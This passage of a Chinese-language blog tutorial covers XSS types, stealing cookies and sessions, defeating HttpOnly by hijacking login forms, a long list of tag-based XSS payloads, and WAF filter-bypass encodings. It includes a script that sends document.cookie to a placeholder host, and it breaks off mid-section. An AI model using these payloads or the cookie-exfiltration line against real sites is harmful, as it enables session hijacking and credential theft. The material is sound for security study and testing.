data-src="https://s2.loli.net/2024/04/15/v8CzH1lJwTtGfe7.png" alt="image.png"></p><p>（1）原理<br>  存储型 XSS 和反射型 XSS 的差别仅在于，提交的代码会存储在服务器端（数据库、内存、文件系统等），下次请求目标页面时不用再提交 XSS 代码，会长期存在并有效。最典型的例子就是留言板 XSS，用户提交一条包含 XSS 代码的留言存储到数据库，目标用户查看留言板时，那些留言就会从数据库中加载出来并显示，于是触发了 XSS 攻击</p><p>（2）攻击方式<br>  这种攻击多见于论坛、博客和留言板中，攻击者在发帖的过程中，将恶意脚本连同正常的信息一起注入帖子的内容中。随着帖子被服务器存储下来，恶意脚本也永久的存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时，恶意脚本会在它们的浏览器中得到执行</p><h3 id="dom型xss"><a class="markdownIt-Anchor" href="#dom型xss">#</a> DOM 型 XSS</h3><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/djA6KrPy3e4OtcU.png" alt="image.png"></p><p>（1）原理<br>  文档对象模型 Document Object Model（DOM）是一个与平台、编程语言不相干的接口，允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果会成为展示页面的一部分</p><p>DOM 型 xss 其实是一种特殊类型的反射型 xss，也被称作本地跨站，它是基于 DOM 文档对象模型的一种漏洞。DOM XSS 和反射型 XSS、存储型 XSS 的区别在于 DOM XSS 代码并不需要服务器参与，出发 XSS 靠的是浏览器的 DOM 解析，完全是客户端的事情</p><p>DOM 中有很多对象，其中一些对象可以被用户所操纵，如 url，location 等。客户端的脚本程序可以通过 DOM 来动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而是从客户端取得 DOM 中的数据后并在本地执行，因此仅从服务器端是没有办法防御 DOM 型 XSS 漏洞的，如若 DOM 中的数据没有经过严格的验证，便会产生基于 DOM 的 XSS 漏洞。</p><p>基于 DOM 的 XSS 是反射的特例，其中 JavaScript 隐藏在 URL 中，并在其呈现时由页面中的 JavaScript 取出，而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽，并且监控页面正文的 WAF 或其他防护检测不出恶意内容。</p><p>（2）攻击方式<br>  用户请求一个经过专门设计的 URL，它由攻击者提交，而且其中包含 xss 代码。服务器的响应不会以任何的形式包含攻击者的脚本，当用户的浏览器处理这个响应时，DOM 对象就会处理 xss 代码，导致存在 xss 漏洞</p><h3 id="使用js代码获取cookie"><a class="markdownIt-Anchor" href="#使用js代码获取cookie">#</a> 使用 JS 代码获取 Cookie</h3><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="keyword">var</span> img=<span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;img&quot;</span>);img.<span class="property">src</span>=<span class="string">&quot;http://xxxx/a?&quot;</span>+<span class="built_in">escape</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>);&lt;script&gt;</span><br></pre></td></tr></table></figure></div><h3 id="获取session"><a class="markdownIt-Anchor" href="#获取session">#</a> 获取 session</h3><p>有的时候获取了 Cookie，但是少了 Session，会造成登不进后台，服务器开启了 Session 验证的话，我们只获取客户端的 Cookie 是没有办法通过验证的，而且我们也无法获取存放在服务端的 Session。如果需要获取 Session，可以借助辅助文件，比如访问 php 探针时就会携带 Session</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/yRmvSg7rsHIXkQh.png" alt="image.png"></p><p>想办法进入 phpinfo ()</p><p>利用 beef 进行页面跳转</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/UZmWoGfNuz64Sxd.png" alt="image.png"></p><p>获取页面源码</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/jcwyR6NYOaZg7ld.png" alt="image.png"></p><h3 id="httponly"><a class="markdownIt-Anchor" href="#httponly">#</a> HttpOnly</h3><p>如果 Cookie 中设置了 HttpOnly 属性，那么通过 JS 脚本将无法读取到 Cookie 信息，这样能有效防止 XSS 攻击，窃取 Cookie 内容。 但是还是存在 xss 跨站语句，阻止的仅仅是获取 cookie</p><p>各种主流语言都支持 HttpOnly</p><h3 id="反制httponly"><a class="markdownIt-Anchor" href="#反制httponly">#</a> 反制 HttpOnly</h3><p>当对方开启 HttpOnly 时，盗取 cookie 就会失败。登录后台的方式有 Cookie 登录和账号密码登录</p><p>（1）Cookie 形式<br>（2）直接账号密码登录</p><p>① 读取保存账号密码<br>  通过窃取保存在本地的数据（账号密码）来登录后台（需要 xss 产生于登录地址，利用表单劫持）</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/gBu43eYEGRdqSVX.png" alt="image.png"></p><p>type、id、name 通过查看网站源代码中的登录框表单</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/hk6GDgcZiR5MU49.png" alt="image.png"></p><p>② 读取没保存账号密码</p><p>通过表单（登录框）劫持数据（产生在后台的 XSS，例如存储型 XSS 留言等）</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/Csrn7KIPulTvi5M.png" alt="image.png"></p><p>劫持原理：抓取数据包另外发送一份到跨站平台</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/ELwHWCM3kAbQiTl.png" alt="image.png"></p><p>但是如果是 https 网站的话，数据是进行了 ssl 加密，获取了数据之后也是很难读取到账号密码的，鸡肋方法</p><h2 id="一些常见标签"><a class="markdownIt-Anchor" href="#一些常见标签">#</a> 一些常见标签</h2><p><code>&lt;script&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">scirpt</span>&gt;</span>alert(&quot;xss&quot;);<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;img&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">1</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&quot;<span class="attr">XSS</span>&quot;)&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;input&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onfocus</span>=<span class="string">&quot;alert(&#x27;xss&#x27;);&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#竞争焦点，从而触发onblur事件</span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onblur</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;) <span class="attr">autofocus</span>&gt;</span><span class="tag">&lt;<span class="name">input</span> <span class="attr">autofocus</span>&gt;</span></span><br><span class="line"></span><br><span class="line">#通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发</span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onfocus</span>=<span class="string">&quot;alert(&#x27;xss&#x27;);&quot;</span> <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;details&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">details</span> <span class="attr">ontoggle</span>=<span class="string">&quot;alert(&#x27;xss&#x27;);&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">#使用open属性触发ontoggle事件，无需用户去触发</span><br><span class="line"><span class="tag">&lt;<span class="name">details</span> <span class="attr">open</span> <span class="attr">ontoggle</span>=<span class="string">&quot;alert(&#x27;xss&#x27;);&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;svg&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;select&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">onfocus</span>=<span class="string">alert(1)</span>&gt;</span><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"></span><br><span class="line">#通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发</span><br><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">onfocus</span>=<span class="string">alert(1)</span> <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;ifrme&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">onload</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;video&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">video</span>&gt;</span><span class="tag">&lt;<span class="name">source</span> <span class="attr">onerror</span>=<span class="string">&quot;alert(1)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;audio&gt;</code></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">audio</span> <span class="attr">src</span>=<span class="string">x</span>  <span class="attr">onerror</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;body&gt;</code></p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;body/onload=alert(<span class="string">&quot;xss&quot;</span>);&gt;</span><br></pre></td></tr></table></figure></div><p>利用换行符以及 autofocus，自动去触发 onscroll 事件，无需用户去触发</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">body</span></span></span><br><span class="line"><span class="tag"><span class="attr">onscroll</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span><span class="tag">&lt;<span class="name">input</span> <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;textarea&gt;</code></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">textarea</span> <span class="attr">onfocus</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;); <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;keygen&gt;</code></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">keygen</span> <span class="attr">autofocus</span> <span class="attr">onfocus</span>=<span class="string">alert(1)</span>&gt;</span> //仅限火狐</span><br></pre></td></tr></table></figure></div><p><code>&lt;marquee&gt;</code></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">marquee</span> <span class="attr">onstart</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;)&gt;</span><span class="tag">&lt;/<span class="name">marquee</span>&gt;</span> //Chrome不行，火狐和IE都可以</span><br></pre></td></tr></table></figure></div><p><code>&lt;isindex&gt;</code></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">isindex</span> <span class="attr">type</span>=<span class="string">image</span> <span class="attr">src</span>=<span class="string">1</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;)&gt;</span>//仅限于IE</span><br></pre></td></tr></table></figure></div><p>利用 link 远程包含 js 文件</p><p><strong>PS：在无 CSP 的情况下才可以</strong></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">import</span> <span class="attr">href</span>=<span class="string">&quot;http://127.0.0.1/1.js&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="javascript伪协议"><a class="markdownIt-Anchor" href="#javascript伪协议">#</a> javascript 伪协议</h3><p><a>标签</a></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(`xss`);&quot;</span>&gt;</span>xss<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;iframe&gt;</code>  标签</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">javascript:alert(</span>&#x27;<span class="attr">xss</span>&#x27;);&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;img&gt;</code>  标签</p><div class="highlight-container" data-rel="Csharp"><figure class="iseeu highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=javascript:alert(<span class="string">&#x27;xss&#x27;</span>)&gt;<span class="comment">//IE7以下</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;form&gt;</code>  标签</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;Javascript:alert(1)&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">submit</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="其它"><a class="markdownIt-Anchor" href="#其它">#</a> 其它</h3><p><code>expression</code>  属性</p><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;img style=<span class="string">&quot;xss:expression(alert(&#x27;xss&#x27;&#x27;))&quot;</span>&gt; <span class="comment">// IE7以下</span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;color:rgb(&#x27;&#x27;�x:expression(alert(1))&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span> <span class="comment">//IE7以下</span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"><span class="selector-id">#test</span>&#123;x:<span class="built_in">expression</span>(<span class="built_in">alert</span>(/XSS/))&#125;</span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span> <span class="comment">// IE7以下</span></span><br></pre></td></tr></table></figure></div><p><code>background</code>  属性</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">table</span> <span class="attr">background</span>=<span class="string">javascript:alert(1)</span>&gt;</span><span class="tag">&lt;/<span class="name">table</span>&gt;</span> //在Opera 10.5和IE6上有效</span><br></pre></td></tr></table></figure></div><h2 id="绕过过滤"><a class="markdownIt-Anchor" href="#绕过过滤">#</a> 绕过过滤</h2><h3 id="1空格"><a class="markdownIt-Anchor" href="#1空格">#</a> 1. 空格</h3><p>用 <code>/</code>  代替空格:  <code>&lt;img/src=&quot;x&quot;/onerror=alert(&quot;xss&quot;);&gt;</code></p><h3 id="2过滤关键词"><a class="markdownIt-Anchor" href="#2过滤关键词">#</a> 2. 过滤关键词</h3><h4 id="大小写绕过"><a class="markdownIt-Anchor" href="#大小写绕过">#</a> 大小写绕过</h4><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ImG</span> <span class="attr">sRc</span>=<span class="string">x</span> <span class="attr">onerRor</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span></span><br></pre></td></tr></table></figure></div><h4 id="双写关键字"><a class="markdownIt-Anchor" href="#双写关键字">#</a> 双写关键字</h4><p>有些 waf 可能会只替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">imimgg</span> <span class="attr">srsrcc</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&quot;<span class="attr">xss</span>&quot;);&gt;</span></span><br></pre></td></tr></table></figure></div><h4 id="字符拼接"><a class="markdownIt-Anchor" href="#字符拼接">#</a> 字符拼接</h4><h5 id="利用eval"><a class="markdownIt-Anchor" href="#利用eval">#</a> 利用 eval</h5><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;a=`aler`;b=`t`;c=&#x27;(`xss`);&#x27;;eval(a+b+c)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="利用top"><a class="markdownIt-Anchor" href="#利用top">#</a> 利用 top</h5><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">top[<span class="string">&quot;al&quot;</span>+<span class="string">&quot;ert&quot;</span>](<span class="string">`xss`</span>);</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h4 id="其它字符混淆"><a class="markdownIt-Anchor" href="#其它字符混淆">#</a> 其它字符混淆</h4><p>有的 waf 可能是用正则表达式去检测是否有 xss 攻击，如果我们能 fuzz 出正则的规则，则我们就可以使用其它字符去混淆我们注入的代码了<br>下面举几个简单的例子</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">可利用注释、标签的优先级等</span><br><span class="line">1.&lt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&quot;xss&quot;</span>);<span class="comment">//&lt;</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">2.<span class="tag">&lt;<span class="name">title</span>&gt;</span><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=&lt;/<span class="attr">title</span>&gt;</span>&gt;<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;alert(`xss`);&quot;</span>&gt;</span> //因为title标签的优先级比img的高，所以会先闭合title，从而导致前面的img标签无效</span><br><span class="line">3.<span class="tag">&lt;<span class="name">SCRIPT</span>&gt;</span><span class="language-javascript"><span class="keyword">var</span> a=<span class="string">&quot;\\&quot;</span>;<span class="title function_">alert</span>(<span class="string">&quot;xss&quot;</span>);<span class="comment">//&quot;;</span></span><span class="tag">&lt;/<span class="name">SCRIPT</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h4 id="编码绕过"><a class="markdownIt-Anchor" href="#编码绕过">#</a> 编码绕过</h4><h5 id="unicode编码绕过"><a class="markdownIt-Anchor" href="#unicode编码绕过">#</a> Unicode 编码绕过</h5><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;<span class="symbol">&amp;#97;</span><span class="symbol">&amp;#108;</span><span class="symbol">&amp;#101;</span><span class="symbol">&amp;#114;</span><span class="symbol">&amp;#116;</span><span class="symbol">&amp;#40;</span><span class="symbol">&amp;#34;</span><span class="symbol">&amp;#120;</span><span class="symbol">&amp;#115;</span><span class="symbol">&amp;#115;</span><span class="symbol">&amp;#34;</span><span class="symbol">&amp;#41;</span><span class="symbol">&amp;#59;</span>&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;eval(&#x27;\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b&#x27;)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="url编码绕过"><a class="markdownIt-Anchor" href="#url编码绕过">#</a> url 编码绕过</h5><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;eval(unescape(&#x27;%61%6c%65%72%74%28%22%78%73%73%22%29%3b&#x27;))&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="ascii码绕过"><a class="markdownIt-Anchor" href="#ascii码绕过">#</a> Ascii 码绕过</h5><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="hex绕过"><a class="markdownIt-Anchor" href="#hex绕过">#</a> hex 绕过</h5><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">eval(</span>&#x27;\<span class="attr">x61</span>\<span class="attr">x6c</span>\<span class="attr">x65</span>\<span class="attr">x72</span>\<span class="attr">x74</span>\<span class="attr">x28</span>\<span class="attr">x27</span>\<span class="attr">x78</span>\<span class="attr">x73</span>\<span class="attr">x73</span>\<span class="attr">x27</span>\<span class="attr">x29</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="八进制"><a class="markdownIt-Anchor" href="#八进制">#</a> 八进制</h5><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;\<span class="attr">170</span>\<span class="attr">163</span>\<span class="attr">163</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="base64绕过"><a class="markdownIt-Anchor" href="#base64绕过">#</a> base64 绕过</h5><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">&quot;eval(atob(&#x27;ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw==&#x27;))&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="3过滤引号"><a class="markdownIt-Anchor" href="#3过滤引号">#</a> 3. 过滤引号</h3><p>1. 如果是 html 标签中，我们可以不用引号。如果是在 js 中，我们可以用反引号代替单双引号</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;x&quot;</span> <span class="attr">onerror</span>=<span class="string">alert(</span>`<span class="attr">xss</span>`);&gt;</span></span><br></pre></td></tr></table></figure></div><p>2. 使用编码绕过，具体看上面我列举的例子</p><h3 id="4过滤括号"><a class="markdownIt-Anchor" href="#4过滤括号">#</a> 4. 过滤括号</h3><p>使用 throw 绕过</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td 